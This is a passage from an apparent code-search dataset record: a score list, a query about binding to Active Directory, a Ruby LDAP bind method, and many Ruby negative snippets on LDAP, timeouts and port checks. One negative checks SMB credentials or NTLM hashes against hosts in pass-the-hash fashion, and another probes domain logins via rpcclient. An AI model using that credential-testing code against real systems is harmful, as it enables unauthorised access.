"0.7719672",
"0.7717515",
"0.7700011",
"0.76964426",
"0.76949215",
"0.7679707",
"0.767223",
"0.76696837",
"0.76549566",
"0.76549566",
"0.7651502",
"0.7633832",
"0.7630783",
"0.76019907",
"0.7598769",
"0.7566474",
"0.7560683",
"0.755386",
"0.750946",
"0.7493543",
"0.74779767",
"0.7471601",
"0.7469877",
"0.74526495",
"0.74331486",
"0.7326453",
"0.72643703",
"0.70013833",
"0.6646074",
"0.66380775",
"0.657759",
"0.64857286",
"0.6437796",
"0.63958114",
"0.6383063",
"0.63681895",
"0.63446534",
"0.6312432",
"0.62753195",
"0.6259542",
"0.6225871",
"0.60815674",
"0.60329485",
"0.5978014",
"0.5960165",
"0.5954716",
"0.5933999",
"0.59336084",
"0.59054667",
"0.5883279",
"0.5861176",
"0.5834223",
"0.58311677",
"0.58050627",
"0.5804814",
"0.5780734",
"0.5733402",
"0.5725444",
"0.5708819",
"0.5704011",
"0.5690858",
"0.56849396",
"0.5676096",
"0.5670797",
"0.5633437",
"0.5632124",
"0.56298774",
"0.5623097",
"0.56200445",
"0.5614732"
] |
0.8125076
|
11
|
Attempt to bind to active directory, time out after N seconds, return true or false
|
def bind
return false unless !@connection.nil?
begin
Timeout::timeout(10) do
return (@connection.bind) ? true : false
end
rescue
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def bind\n conn = Net::LDAP.new :host => @config[:server],\n :port => @config[:port],\n :base => @config[:base]\n if @config[:encryption]\n conn.encryption @config[:encryption]\n end\n \n raise \"Anonymous Bind is disabled\" if @config[:password] == \"\" && !(@config[:anonymous_bind])\n \n conn.auth \"#{@config[:username]}@#{@config[:domain]}\", @config[:password]\n \n begin\n Timeout::timeout(10){\n if conn.bind\n return conn\n else\n raise 'Query User Rejected'\n end\n }\n rescue Timeout::Error\n raise 'Unable to connect to LDAP Server'\n rescue Errno::ECONNRESET\n if @config[:allow_fallback]\n @config[:port] = @config[:allow_fallback]\n @config[:encryption] = false\n return Adauth::Connection.new(@config).bind\n end\n end\n end",
"def valid_user?\n #create a new LDAP object using the ruby-net-ldap library\n @ldap = Net::LDAP.new(:base => \"dc=#{@domain},dc=#{@tld}\",\n :host => @adshost,\n :auth => {:username => \"#{@username}@#{@domain}.#{@tld}\",\n :password => @password,\n :method => :simple})\n #return a boolean indicating whether authentication was successful or not\n return @ldap.bind\n end",
"def connect_to_ldap\r\n begin\r\n @ldap = Net::LDAP.new(:host => @ldap_host,\r\n :port => @ldap_port,\r\n :auth => { :method => :simple,\r\n :username => @ldap_username,\r\n :password => @ldap_password } )\r\n @logger.info \"Connecting to LDAP: '#{@ldap_host}' on port #{@ldap_port}\"\r\n @logger.info \"Binding to LDAP as: #{@ldap_username}\"\r\n \r\n success = @ldap.bind()\r\n if (success)\r\n @logger.info \"LDAP authorization succeeded\"\r\n return true\r\n else\r\n @logger.error \"LDAP authorization failed: #{@ldap.get_operation_result.message}\"\r\n return false\r\n end\r\n rescue Net::LDAP::LdapError => error\r\n @logger.error(\"Error connecting to LDAP: #{error}\")\r\n return false\r\n end\r\n end",
"def checkConnect(dns, sshport)\n connectionTimeout = Time.now \n connectionTimeout = connectionTimeout + (10 * 10)\n connection = false\n\n while ((connection == false) && ( Time.now < connectionTimeout )) do \n if dns.nil? || dns.empty? then\n log(\"ERROR\", \"Invalid dns\" + dns)\n return false\n end\n log(\"INFO\", \"Checking connectivity to: \" + dns)\n\n connection = ssh2_connect(dns, sshport)\n if connection == false then\n sleep(10)\n end\n end\n\n if connection == false then\n log(\"ERROR\", \"Failed to connect to \" + dns )\n return false\n else\n return true\n end\n end",
"def connect\n @conn ||= Net::LDAP.new\n @conn.host = @host\n @conn.port = @port\n @conn.auth \"#{@login_dn},#{@base_dn}\", @password\n\n if @conn.bind\n return true\n else\n return false\n end\n end",
"def negotiate!(socket, timeout); end",
"def timedout?(last_access); end",
"def port_open?(ip, port, timeout)\n\n\tstart_time = Time.now\n\tcurrent_time = start_time\n \twhile (current_time - start_time) <= timeout\n\t\tbegin\n \t\t TCPSocket.new(ip, port)\n \t\t return true\n \t rescue Errno::ECONNREFUSED\n \t\t\tsleep 0.1\n \t\tend\n \t\tcurrent_time = Time.now\n \tend\n\n \treturn false\n\n end",
"def timeout?\n @status == :timeout\n end",
"def ldap_authenticate\n # logger.debug(\"ldap_authenticate\")\n # ldap_time = Benchmark.realtime { ActiveLdap::Base.setup_connection }\n # logger.debug(\"LDAP: took #{ldap_time} to establish the connection\")\n authenticate_or_request_with_http_basic \"Bluepages Authentication\" do |user_name, password|\n logger.info(\"attempt to ldap authenticate: user_name #{user_name}\")\n next nil unless LdapUser.authenticate_from_email(user_name, password)\n logger.info(\"successful ldap_authenticate as #{user_name}\")\n common_authenticate(user_name)\n return true\n end\n return false\n end",
"def valid?(auth)\n # how to connect to the ldap server: ldap, ldaps, ldap + starttls\n if @config.ldaps\n enc = { method: :simple_tls }\n elsif @config.starttls\n enc = { method: :start_tls }\n enc[:tls_options] = @config.tls_options if @config.tls_options\n else\n enc = nil # just straight ldap\n end\n conn = Net::LDAP.new(host: @config.hostname, port: @config.port,\n base: @config.basedn,\n encryption: enc)\n\n $stdout.puts \"Net::LDAP.new => #{conn.inspect}\" if @config.debug\n\n if @config.auth\n $stdout.puts \"doing auth for #{@config.rootdn.inspect}\" if @config.debug\n conn.auth @config.rootdn, @config.passdn\n # conn.get_operation_result.message has the reson for a failure\n return false unless conn.bind\n end\n\n filter = Net::LDAP::Filter.eq(@config.username_ldap_attribute,\n auth.username)\n\n $stdout.puts \"Net::LDAP::Filter.eq => #{filter.inspect}\" if @config.debug\n\n # find the user and rebind as them to test the password\n # return conn.bind_as(:filter => filter, :password => auth.password)\n $stdout.puts \"doing bind_as password.size: #{auth.password.size}...\" if @config.debug\n ret = conn.bind_as(filter: filter, password: auth.password)\n $stdout.puts \"bind_as => #{ret.inspect}\" if @config.debug\n ret\n end",
"def verify!(timeout)\n now = Time.now.to_i\n if (now - @last_verification) > timeout\n reconnect! unless active?\n @last_verification = now\n end\n end",
"def authenticate(username,password)\n begin\n @ldap.auth username + @ldap_suffix, password\n if @ldap.bind\n return true\n end\n rescue\n end\n return false\n end",
"def exists?\n start_time = Time.now\n timeout = resource[:timeout]\n try_sleep = resource[:try_sleep]\n\n success = validator.attempt_connection\n\n while success == false && ((Time.now - start_time) < timeout)\n # It can take several seconds for an HTTP service to start up;\n # especially on the first install. Therefore, our first connection attempt\n # may fail. Here we have somewhat arbitrarily chosen to retry every 2\n # seconds until the configurable timeout has expired.\n Puppet.notice(\"Failed to make an HTTP connection; sleeping #{try_sleep} seconds before retry\")\n sleep try_sleep\n success = validator.attempt_connection\n end\n\n if success\n Puppet.debug(\"Connected to the host in #{Time.now - start_time} seconds.\")\n else\n Puppet.notice(\"Failed to make an HTTP connection within timeout window of #{timeout} seconds; giving up.\")\n end\n\n success\n end",
"def port_bound?(host, port)\n Timeout.timeout(1) do\n s = TCPSocket.new(host, port)\n s.close rescue nil\n return true\n end\nrescue Timeout::Error, Errno::ECONNREFUSED, Errno::EHOSTUNREACH, \\\n Errno::ENETUNREACH, Errno::EACCES, Errno::ENOTCONN, \\\n Errno::EADDRNOTAVAIL\n return false\nend",
"def session_good?\n return false if !session.alive?\n if @timed_out\n if get_session_age < @timed_out_age && @wait\n time_stamp(\"resumed\")\n @timed_out = false #reset timed out to false, if module set to wait and session becomes active again.\n end\n return !@timed_out\n end\n return true\n end",
"def ping_if_idle(sec = 10)\n return false if idle_time < sec\n ping\n end",
"def with_timeout(seconds)\n Timeout.timeout(seconds) do\n yield\n end\nrescue Timeout::Error\n false\nend",
"def keepalive_timeout?\n @keepalive_count ||= 0\n @keepalive_count += 1\n @keepalive_count > 10\n end",
"def alive?(host)\n puts \"Checking host: #{host}\"\n Timeout::timeout(@timeout) do\n result = `ping -c 1 #{host}`\n if result.include?(\"time=\")\n return true\n end\n end\n rescue\n return false\n end",
"def keepalive_timeout?\n @keepalive_count ||= 0\n @keepalive_count += 1\n @keepalive_count > 10\n end",
"def confirm_listening_on_port(port, timeout=10)\n checker_th = Thread.new { ssh_cmd \"while [[ `netstat -ln | grep :#{port} | wc -l` -lt 1 ]] ; do sleep 1; done\" }\n raise \"Nothing is listening on #{@ip}:#{port} after #{timeout} seconds\" unless checker_th.join(timeout)\n true\n end",
"def can_we_connect\n\t\tbegin\n\t\t\t@sys_time = @manager.get_value(\"sysUpTime.0\")\n\t\trescue SNMP::RequestTimeout => e\n\t\t\tprint_error(\"#{e}\")\n\t\t\tprint_error(\"Can't connect using '#{@string.chomp}'!\")\n\t\t\t$fail=1\n\t\tend\n\tend",
"def connect!\n com::unboundid::ldap::sdk::LDAPConnection.new(\n self.host, self.port, self.bind_dn, self.password) \n end",
"def try(host = 'nodeinfo.hype')\n begin\n Timeout::timeout(5) do\n return true if aaaa(host)\n end\n rescue Timeout::Error\n return false\n end\n end",
"def timed_out?\n @timed_out\n end",
"def timeout?(time)\n config = BeEF::Core::Configuration.instance\n login_fail_delay = config.get('beef.extension.admin_ui.login_fail_delay') # get fail delay\n \n # test if the last login attempt was less then login_fail_delay seconds\n time - @session.get_auth_timestamp > login_fail_delay.to_i\n end",
"def check_gdom_isnt_running(options)\n message = \"Information:\\tChecking Guest Domain \"+options['name']+\" is running\"\n command = \"ldm list-bindings #{options['name']} |grep '^#{options['name']}'\"\n output = execute_command(options,message,command)\n if output.match(/active/)\n handle_output(options,\"Warning:\\tGuest Domain #{options['name']} is already running\")\n quit(options)\n end\n return\nend",
"def safe_timeout(conn, meth, name)\n Timeout.timeout(5) { conn.send(meth) }\n true\nrescue Timeout::Error\n $stderr.puts \"Timed out waiting to close #{name} connection\"\n false\nrescue Exception => ex\n $stderr.puts(\"#{ex.class}: #{ex.message}\")\n false\nend",
"def ldap_ping\n search_attrs = {\n :base => \"\",\n :scope => Net::LDAP::SearchScope_BaseObject,\n :attributes => [1.1]\n }\n result = false\n @net_ldap.search(search_attrs) { result = true }\n result\n end",
"def port_open?(ip, port, seconds = 1)\n Timeout.timeout(seconds) do\n ip ||= Socket.ip_address_list.detect(&:ipv4_private?).ip_address\n TCPSocket.new(ip, port).close\n true\n end\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Timeout::Error\n false\n end",
"def valid_user?\n res = false\n \n if (@email!='') and (@password!='')\n ldap= Net::LDAP.new\n ldap.host = LDAP_HOST\n ldap.auth(\"#{LDAP_USERS_UID}\" % @email, @password)\n res = ldap.bind\n end\n \n \n return res\n end",
"def port_open_within?( host, port = 8140, seconds = 120 )\n repeat_for( seconds ) do\n host.port_open?( port )\n end\n end",
"def properly_configured?\n options = {\n open_timeout: 5,\n use_ssl: true, # all connections are forced SSL now\n verify_mode: OpenSSL::SSL::VERIFY_NONE # because we might not have a valid cert yet\n }\n Net::HTTP.start(website_alias, options) do |http|\n response = http.get(\"/tenant_aliases/#{id}/verify\")\n\n return false unless response.is_a?(Net::HTTPSuccess)\n\n response.body == \"TRUE\"\n end\n rescue SocketError, Net::OpenTimeout, Errno::ECONNREFUSED\n # SocketError if the server name doesn't exist in DNS\n # OpenTimeout if no server responds\n # ECONNREFUSED if the server responds with \"No\"\n false\n end",
"def check_tunnel_timeout\n if tunnel_timeout?\n W 'Tunnel timeout. Disconnecting from server.'\n disable_tunnel_timeouts\n close_connection_after_writing\n end\n end",
"def authenticate(dn, password)\n if @conn.bind(:username => \"#{dn},#{@base_dn}\", :password => password)\n @conn.bind \"#{@login_dn},#{@base_dn}\", @password\n return true\n else\n return false\n end\n end",
"def wait_for_port_or_fail(host, port)\n result = false\n 3.times do\n # ensure we wait a minimum between retries\n start_time = Time.now\n result = check_port_for_http_response(host, port)\n check_time = Time.now - start_time\n break if result\n\n if check_time < 10\n sleep 10 - check_time\n end\n end\n return if result\n fail 'Timeout waiting for port to be open.'\n end",
"def connect\n @logger.debug(\"Connecting to LDAP server: #{Time.now}\" )\n\n connected = false\n error = nil\n LDAP_SERVERS.each do |ldap_server| \n begin\n @ldap.host = ldap_server\n @ldap.port = 636\n @ldap.encryption :simple_tls\n @ldap.auth BIND_DN, BIND_PASS\n connected = @ldap.bind\n @logger.debug(\"bind result: #{@ldap.get_operation_result}\")\n break if connected\n raise \"Failed to connect to LDAP server #{ldap_server}. Error: #{@ldap.get_operation_result.message} (#{@ldap.get_operation_result.code})\"\n rescue => e\n connected = false\n error = \"Failed to connect to LDAP server #{ldap_server}. Error: #{e.message}\\n#{e.backtrace}\"\n end\n @logger.warn(error)\n end\n\n # raise exception if not connected\n raise ConnectError, error unless connected\n\n @logger.debug(\"connected to #{@ldap.host}.\")\n end",
"def smb_cred_check(host, port=445, user='Administrator', passorhash=nil, domain='.', hostname='*SMBSERVER')\n begin\n socket = Rex::Socket.create_tcp({ 'PeerHost' => host, 'PeerPort' => port.to_i })\n smb = Rex::Proto::SMB::SimpleClient.new(socket, port.to_i == 445)\n smb.login(hostname,user,passorhash,domain)\n smb.connect(\"\\\\\\\\#{host}\\\\IPC$\")\n if (not smb.client.auth_user)\n auth=false\n else\n auth=true\n end\n socket.close\n return auth\n rescue => e\n puts \"Error Connecting to #{host}\".light_red + \"!\".white\n if @hashpass and \"#{e}\" =~ /STATUS_LOGON_FAILURE \\(Command=115 WordCount=0\\)/\n puts \"Make sure your hash format meets requirements\".light_yellow + \"!\".white\n puts \"If NTLM Hash Only, Pad with x32 0's\".light_yellow + \": 00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c\".white\n puts \"Otherwise\".light_yellow + \": e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c\".white\n else\n puts \"\\t=> \".white + \"#{e}\".light_red\n end\n return false\n end\nend",
"def ldap_auto_activate?\r\n ldap_auto_activate.to_s.to_i != 0\r\n end",
"def wait_until_connected(timeout=10)\n time_to_stop = timeout ? Time.now + timeout : nil\n\n return false unless wait_until_running(timeout)\n\n @state_mutex.synchronize do\n while true\n if timeout\n now = Time.now\n break if (@state == ZOO_CONNECTED_STATE) || unhealthy? || (now > time_to_stop)\n delay = time_to_stop.to_f - now.to_f\n @state_cond.wait(delay)\n else\n break if (@state == ZOO_CONNECTED_STATE) || unhealthy?\n @state_cond.wait\n end\n end\n end\n\n connected?\n end",
"def timeout_connect(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"timeout connect \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def wait_for_port(port, opts={})\n ip = opts.delete(:public_ip) || public_ip\n retry_times = opts.delete(:retry_times) || 10\n pause_time = opts.delete(:pause_time) || 1\n \n retry_times.times do |i| \n if is_port_open?(ip, port, opts)\n return true\n else\n sleep pause_time\n end\n end\n false\n end",
"def port_open?\n begin\n Timeout.timeout(1) do\n begin\n s = TCPSocket.new(@host, @port)\n s.close\n return true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n return false\n end\n end\n rescue Timeout::Error\n return false\n end\n\n false\n end",
"def set_timeout\n @not_found = true\n Timeout::timeout(@timeout) do\n while @not_found\n find_server!\n sleep(WAIT)\n end\n end\n rescue Timeout::Error => e\n raise Monga::Exceptions::Disconnected.new \"Can't find appropriate server (all disconnected)\"\n end",
"def bind(login, password)\n cfg = Rails.application.secrets.ldap\n host = cfg['host']\n port = cfg['port']\n ssl = cfg['ssl'].to_sym\n # base = cfg['base']\n users = cfg['users']\n # groups = cfg['groups']\n\n options = {\n host: host,\n port: port,\n encryption: ssl,\n }\n\n ldap = Net::LDAP.new(options)\n ldap.auth(\"cn=#{login},#{users}\", password)\n return LDAP::User.find(login) if ldap.bind\n false\n end",
"def test_connection\n ldap_con = initialize_ldap_con(self.account, self.account_password)\n ldap_con.open { }\n rescue Net::LDAP::LdapError => text\n raise \"LdapError: %s\" % text\n end",
"def wait_connection_attempt_result(timeout: nil)\n connection_future.wait(timeout)\n connection_future.complete?\n end",
"def bind_connection(credentials)\n Net::LDAP.new(credentials)\n rescue\n raise(ConnectionError, 'Failure connecting to LDAP host')\n end",
"def port_available?(port, ip = \"127.0.0.1\", seconds = 1)\n Timeout::timeout(seconds) do\n begin\n TCPSocket.new(ip, port).close\n false\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n true\n end\n end\n rescue Timeout::Error\n false\n end",
"def connect_timeout=(_arg0); end",
"def connection_timeout?(connection_ttl)\n @taskbox.connection_timeout?(connection_ttl)\n end",
"def contact\n sleep(5)\n return false\n end",
"def connected_to_activedirectory?\n ActiveDirectory::Base.connected?\n end",
"def port_open?(host, port)\n begin\n Timeout::timeout(1) do\n begin\n s = TCPSocket.new(host, port)\n s.close\n return true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n return false\n end\n end\n rescue Timeout::Error\n end\n return false\nend",
"def check_gdom_is_running(options)\n message = \"Information:\\tChecking Guest Domain \"+options['name']+\" is running\"\n command = \"ldm list-bindings #{options['name']} |grep '^#{options['name']}'\"\n output = execute_command(options,message,command)\n if not output.match(/active/)\n handle_output(options,\"Warning:\\tGuest Domain #{options['name']} is not running\")\n quit(options)\n end\n return\nend",
"def exists?\n start_time = Time.now\n timeout = resource[:timeout]\n\n success = validator.attempt_connection\n\n while success == false && ((Time.now - start_time) < timeout)\n # It can take several seconds for the Grafana server to start up;\n # especially on the first install. Therefore, our first connection attempt\n # may fail. Here we have somewhat arbitrarily chosen to retry every 2\n # seconds until the configurable timeout has expired.\n Puppet.notice('Failed to connect to Grafana API; sleeping 2 seconds before retry')\n sleep 2\n success = validator.attempt_connection\n end\n\n unless success\n Puppet.notice(\"Failed to connect to Grafana within timeout window of #{timeout} seconds; giving up.\")\n end\n\n success\n end",
"def timedout_read(duration)\n begin \n timeout(duration) do\n @sock.wait_readable\n end\n rescue Celluloid::TaskTimeout\n return true\n end\n false\n end",
"def server_alive?()\n alive = false\n\n # open a socket to the server\n begin\n socket = open_socket()\n rescue Exception\n return(alive)\n end\n\n # make start packet\n header = TacacsPlus::TacacsHeader.new\n if (@session_id)\n header.session_id = @session_id\n else\n header.randomize_session_id!\n end\n body = TacacsPlus::AuthenticationStart.new\n body.action_login!\n body.authen_type_ascii!\n body.priv_lvl = 1\n\n # send packet\n if (!socket.closed?)\n recvd_pkt = nil\n begin\n send_packet(socket,PacketStruct.new(header,body),@key)\n recvd_pkt = get_packet(socket,@key)\n rescue Exception => error\n @logger.debug(\"Error with connection to server: #{error}\") if @logger\n return(alive)\n end\n\n if (recvd_pkt && recvd_pkt.body.kind_of?(AuthenticationReply) )\n # send abort\n body = TacacsPlus::AuthenticationContinue.new\n body.flag_abort!\n recvd_pkt.body = body\n recvd_pkt.header.inc_seq_no!\n send_packet(socket,recvd_pkt,@key)\n alive = true\n end\n end\n\n socket.close if (!socket.closed?)\n return(alive)\n end",
"def test_connection\n\t\tldap_con = initialize_ldap_con(self.account, self.encrypted_password)\n\t\tldap_con.open do |ldap|\n\t\tend\n\trescue Net::LDAP::LdapError => text\n\t\traise \"LdapError: \" + text\n\tend",
"def connect_timeout; end",
"def connect_timeout; end",
"def wait_stopped pid, timeout=60\n alive=false\n loop do\n alive=is_alive pid\n break unless alive && timeout > 0\n sleep SLEEP_TIME\n timeout -= SLEEP_TIME\n end\n return alive\nend",
"def ldap_connect(domain,binddn=BINDUSER,bindpw=BINDPASS)\n binddn = binddn + \"@\" + domain\n ldap = Net::LDAP.new(:host => domain,\n :port => 389,\n :auth => {\n :method => :simple,\n :username => binddn,\n :password => bindpw,\n })\n return ldap\n end",
"def wait_port(port, timeout=5)\n deadline = Time.now + timeout\n begin # Wait for the port to be connectible\n TCPSocket.open(\"\", $port).close\n rescue Errno::ECONNREFUSED\n if Time.now > deadline then\n raise TestError, \"timed out waiting for port #{port}\"\n end\n sleep(0.1)\n retry\n end\nend",
"def alive?\n Utils::NetworkUtils.port_open?(@host, @port)\n end",
"def wait_for_port(port, timeout = default_timeout)\n instance_ip = ip\n log_debug \"[ #{@node}/#{@environment} ] - Wait for #{instance_ip}:#{port} to be opened (timeout #{timeout})...\"\n port_listening = false\n remaining_timeout = timeout\n until port_listening\n start_time = Time.now\n port_listening =\n begin\n Socket.tcp(instance_ip, port, connect_timeout: remaining_timeout) { true }\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::EADDRNOTAVAIL, Errno::ETIMEDOUT\n log_warn \"[ #{@node}/#{@environment} ] - Can't connect to #{instance_ip}:#{port}: #{$ERROR_INFO}\"\n false\n end\n sleep 1 unless port_listening\n remaining_timeout -= Time.now - start_time\n break if remaining_timeout <= 0\n end\n log_debug \"[ #{@node}/#{@environment} ] - #{instance_ip}:#{port} is#{port_listening ? '' : ' not'} opened.\"\n port_listening\n end",
"def status\n return true unless config.managed?\n return false if pid.nil?\n\n begin\n Process.getpgid(pid)\n rescue Errno::ESRCH\n return false\n end\n\n begin\n TCPSocket.new(host, port).close\n\n Net::HTTP.start(host, port) do |http|\n http.request(Net::HTTP::Get.new('/'))\n end\n\n true\n rescue Errno::ECONNREFUSED, Errno::EINVAL\n false\n end\n end",
"def status\n return true unless managed?\n return false if pid.nil?\n\n begin\n Process.getpgid(pid)\n\n TCPSocket.new('127.0.0.1', port).close\n true\n rescue Errno::ESRCH, Errno::ECONNREFUSED\n false\n end\n end",
"def connection_timeout?(ttl)\n @tasks.synchronize {\n __connection_timeout?(ttl)\n }\n end",
"def test_authentication\n status = false\n\n Net::HTTP.start(\"#{@subdomain}.#{@options[:host]}\", 80) do |http|\n req = Net::HTTP::Get.new(@options[:pathname])\n\n if authentication_set?\n req.ntlm_auth(@username, @options[:domain], @password)\n end\n\n response = http.request(req)\n\n if response.code.to_i.between?(200,399)\n status = true\n else\n status = false\n end\n end\n\n return status\n end",
"def authenticate_dn(dn, password)\n\t\tif dn.present? && password.present?\n\t\t\tinitialize_ldap_con(dn, password).bind\n\t\tend\n\tend",
"def port_open?(node)\n Timeout::timeout(node.timeout) do\n begin\n TCPSocket.new(node.host, node.port).close\n true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n false\n end\n end\n rescue Timeout::Error, SocketError\n false\n end",
"def check_connection\n one_wait = 5\n max_wait = 15\n request = Net::HTTP::Get.new('/selenium-server/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@host, @port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy,\n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy,\n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n p(\"-- ERROR: couldn't connect to Selenium RC on \" + @host)\n return false\n end\n return true\n end",
"def active? # :nodoc:\n # Pings the connection to check if it's still good. Note that an\n # #active? method is also available, but that simply returns the\n # last known state, which isn't good enough if the connection has\n # gone stale since the last use.\n @raw_connection.ping\n rescue OracleEnhanced::ConnectionException\n false\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"im-bigdata-pgh-sysadmins@wwpdl.vnet.ibm.com\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend",
"def creds_check(domain,username,password,dc_ip)\n #silently check if the credentials are still valid\n rpc = `rpcclient -U \"#{domain}\\\\#{username}%#{password}\" #{dc_ip} -c enumdomains | head -n 1`\n if rpc.include? \"NT_STATUS_LOGON_FAILURE\"\n puts \"\"\n puts \"ALERT! It looks like the credentials that were previously used have expired.\"\n puts \"The #{domain}\\\\#{username} account could be locked out. Please change your credentials.\"\n puts \"\"\n abort\n end\nend",
"def maybe_fake_delay!\n if (auth_db_delay = env.params['auth_db_delay'].to_f) > 0\n enqueue_acceptor(:sleepy){|acc| EM.add_timer(auth_db_delay){ acc.succeed } }\n end\n end",
"def is_port_open?(port)\n begin\n ::Timeout.timeout(5) do\n begin\n s = TCPSocket.new('localhost', port)\n s.close\n return true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::EADDRNOTAVAIL\n return false\n end\n end\n rescue ::Timeout::Error\n return false\n end\n\n false\nend",
"def checkTimeout_Flooding()\n\tsleep(2);\n\tputs \"time out!\";\n\n\nend",
"def wait_for_port!(port, timeout = default_timeout)\n raise \"[ #{@node}/#{@environment} ] - Instance fails to have port #{port} opened with timeout #{timeout}.\" unless wait_for_port(port, timeout)\n end",
"def test_url_timeout(url, timeout)\n uri = URI(url)\n begin\n timeout(timeout) do\n s = TCPSocket.new(uri.host, uri.port)\n s.close\n end\n rescue Timeout::Error, SocketError\n return false\n end\n return true\n end",
"def wait_active(timeout = 0)\n Window.functions[__method__] ||= AU3_Function.new(\"WinWaitActive\", 'SSL', 'L')\n Window.functions[__method__].call(@title.wide, @text.wide, timeout) != 0\n end",
"def check_in\n defaults = OSX::NSUserDefaults.standardUserDefaults\n server_host = defaults.stringForKey(\"server_host\")\n server_port = defaults.integerForKey(\"server_port\")\n \n drb_url = \"druby://#{server_host}:#{server_port}\"\n \n OSX::NSLog(\"Trying to connect to #{drb_url}\")\n \n @server = DRbObject.new(nil, drb_url)\n @host = DRb.uri.scan(/druby:\\/\\/(.*):\\d*/)[0][0]\n begin\n @server.check_in @host\n OSX::NSLog(\"Connected to server\")\n rescue\n @server = nil\n OSX::NSLog(\"Couldn't connect to server: #{$!}\")\n end\n end",
"def check_connection\n one_wait = 5\n max_wait = 5\n request = Net::HTTP::Get.new('/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@url.host, @url.port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy, \n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy, \n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n puts(\"-- ERROR: couldn't connect to test host on \" + @url.host.to_s)\n return false\n end\n puts(\"-- SUCCESS: test host is alive !\\n\")\n return true\nend",
"def active?\n # Pings the connection to check if it's still good. Note that an\n # #active? method is also available, but that simply returns the\n # last known state, which isn't good enough if the connection has\n # gone stale since the last use.\n @connection.ping\n rescue OracleEnhancedConnectionException\n false\n end",
"def timed_out?\n key = fei['wfid'] + '__' + fei['expid']\n\n if self.fields[\"__timeouts__\"] && timeout = self.fields[\"__timeouts__\"][ key ]\n return Time.at( timeout.last ) < Time.now\n end\n\n return false\n end",
"def wait_until_running(timeout=5)\n @mutex.synchronize do\n return true if @_running\n @running_cond.wait(timeout)\n !!@_running\n end\n end",
"def _timeout? changed_time, timeout\n\t\t@current_time ||= Time.now\n\t\t(@current_time - changed_time - timeout) > 0 ? true : false\n\tend",
"def enable_ldap_auth?\r\n enable_ldap_auth.to_s.to_i != 0\r\n end",
"def tunnel_timeout?\n Time.now - @last_packet_time > client.tunnel_timeout\n end",
"def timeout!; end",
"def bind_to_directory\n\t\tbinddn = self.options.binddn or\n\t\t\traise ArgumentError, \"no binddn in the options hash?!\"\n\t\tself.log.debug \"Attempting to bind to the directory as %s\" % [ binddn ]\n\n\t\tpass = self.prompt.ask( \"password: \" ) {|q| q.echo = '*' }\n\t\tuser = Treequel::Branch.new( self.directory, binddn )\n\n\t\tself.directory.bind_as( user, pass )\n\t\tself.log.debug \" bound as %s\" % [ user ]\n\n\t\treturn true\n\tend",
"def timeout?\n !@timeout.to_s.strip.empty?\n end",
"def timeout_check(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"timeout check \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def timedout?(last_access)\n !timeout_in.nil? && last_access && last_access <= timeout_in.ago\n end",
"def timeout_server(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"timeout server \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
